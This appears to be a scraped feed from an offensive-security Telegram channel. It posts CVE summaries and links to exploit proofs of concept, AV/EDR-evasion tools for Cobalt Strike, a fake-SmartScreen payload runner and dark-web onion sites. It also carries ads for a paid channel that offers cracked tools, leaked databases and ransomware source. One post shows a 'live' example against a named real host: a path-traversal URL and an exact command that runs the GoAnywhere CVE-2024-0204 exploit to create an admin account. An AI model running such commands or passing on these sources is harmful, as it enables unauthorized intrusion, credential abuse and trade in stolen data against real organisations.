Sani

🤩CVE-2024-21733 : Apache Tomcat HTTP Request Smuggling

Versions Affected: Apache Tomcat 9.0.0-M11 to 9.0.43 Apache Tomcat 8.5.7 to 8.5.63 Description: Incomplete POST requests triggered an error response that could contain data from a previous request from another user. Mitigation: Users of the affected versions should apply one of the following mitigations: Upgrade to Apache Tomcat 9.0.44 or later Upgrade to Apache Tomcat 8.5.64 or later

🤩POC : 🔣https://hackerone.com/reports/2327341

📈As the prices go up and down in the market, the subscription fee has gone up 🫂Only people who are currently members can subscribe to the private channel at the previous price. 💎100 Day = 200$🎁 💎200 Day = 300$🎁 💎360 Day = 400$🎄 (+ 60 days of extra usage) 🟡Offensive Security 🟩Bug Bounty/Hunting 🟡Reverse Engineering 🟩Technical Analysis of Attacks 🟡Exploits 🟩Cracked tools 🟡Leaked paid tools 🟩Source codes 🟡Databases 🟩Ransomware source codes 🟡New CVE 🟩Lastest vulnerabilities 🟡Vuln scanners 🟩Shell codes 💰@APTIRANBOT

*️⃣CVE-2023-27997 : Fortinet FortiOS and FortiProxy SSL-VPN $Version Heap-Based Buffer Overflow ➡️POC / Blog : https://bishopfox.com/blog/building-exploit-fortigate-vulnerability-cve-2023-27997 🌎NIST : https://nvd.nist.gov/vuln/detail/CVE-2023-27997 📱@APTANALYSIS

*️⃣CVE-2023-27997 : Fortinet FortiOS and FortiProxy SSL-VPN $Version Heap-Based Buffer Overflow ➡️POC / Blog : https://bishopfox.com/blog/building-exploit-fortigate-vulnerability-cve-2023-27997 🌎NIST : https://nvd.nist.gov/vuln/detail/CVE-2023-27997

😈CVE-2024-0204 : Authentication Bypass in GoAnywhere MFT

Script to create a new admin user in GoAnywhere MFT

🟢POC : https://github.com/horizon3ai/CVE-2024-0204 🔍Blog : https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive

Example Live (for you❤️)

0: "goanywhere 7.4.0"🙂😁 1: https://heritagemft.neom.com:8001 2 : https://heritagemft.neom.com:8001/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml 3 : EX CMD : python CVE-2024-0204.py https://heritagemft.neom.com:8001 admin1234 sadmin12 USERNAME : admin1234 PASSWORD : sadmin12

Finish 😤

🟣Nmap NSE

Script to check CVE-2023-46805 & CVE-2024-21887

https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve2023-46805_2024_21887.nse 📱@APTANALYSIS

🟣Nmap NSE

Script to check CVE-2023-46805 & CVE-2024-21887

https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve2023-46805_2024_21887.nse 📱@APTANALYSIS

🧸The SSLVPN Chaos Continues - Ivanti CVE-2023-46805 & CVE-2024-21887 👋Blog : https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/ 📱@APTANALYSIS

👹CVE-2023-27997 ?? FortiGate (N/A) 📱@APTANALYSIS

⭐️Writeup for CVE-2023-39143 : PaperCut WebDAV Vulnerability Blog : https://www.horizon3.ai/writeup-for-cve-2023-39143-papercut-webdav-vulnerability/ ⭐️Writeup for CVE-2023-43208 : NextGen Mirth Connect Pre-Auth RCE https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/ 📱@APTANALYSIS

Sublist ⭐CVE-2024-20656 : Windows LPE in the VSStandardCollectorService150 service https://github.com/Wh04m1001/CVE-2024-20656 ⭐CVE-2023-7028 : Gitlab - Account-Take-Over https://github.com/Vozec/CVE-2023-7028 📱@APTANALYSIS

💎The last gift link (limit : 4) 🎁 https://t.me/+W30WK2oijPVhZmRk

💎30 days private channel subscription (limit : ??) 🎁https://t.me/+zFewHiGuuHIxNGQ0

💎30 days private channel subscription (limit : 3) 🎁https://t.me/+FQ_u-_DJjWhmNjA0

🆕 Private Channel Subscription: 💎100 Day = 100$🎁 💎200 Day = 200$🎁 💎360 Day = 300$🎄 ↘️ Buy :  @APTIRANBOT

🔠2️⃣Hide Cobalt-Strike like a PRO

Bypass Kaspersky End Point Security AV/EDR

https://github.com/EvilGreys/Hide-Cobalt-Strike-like-a-PRO 🔠2️⃣Hide your CobaltStrike PRO

Hide Your CobaltStrike with CloudFlared Tunnel and Microsoft 100 Traffic%

https://github.com/EvilGreys/Hide-CobaltStrike 📱@APTANALYSIS

🤩Kallist http://i.kallist4mcluuxbjnr5p2asdlmdhaos3pcrvhk3fbzmiiiftwg6zncid.onion 🔠🔠🔠🔠🔠 👹Oshi http://5ety7tpkim5me6eszuwcje7bmy25pbtrjtue7zkqqgziljwqy3rrikqd.onion 📱@APTANALYSIS

👩‍💻Checkmate

payload Execution by Fake Windows SmartScreen with requires Administrator privileges & Turn off real SmartScreen Filter All options allow for the execution of an execution, and this can be used in a different way, such as opening a port in a Windows machine, or doing it in a different way. can equate the value of any option to any malicious activity want.

👩‍💻Github : https://github.com/S3N4T0R-0X0/Checkmate 📱@APTANALYSIS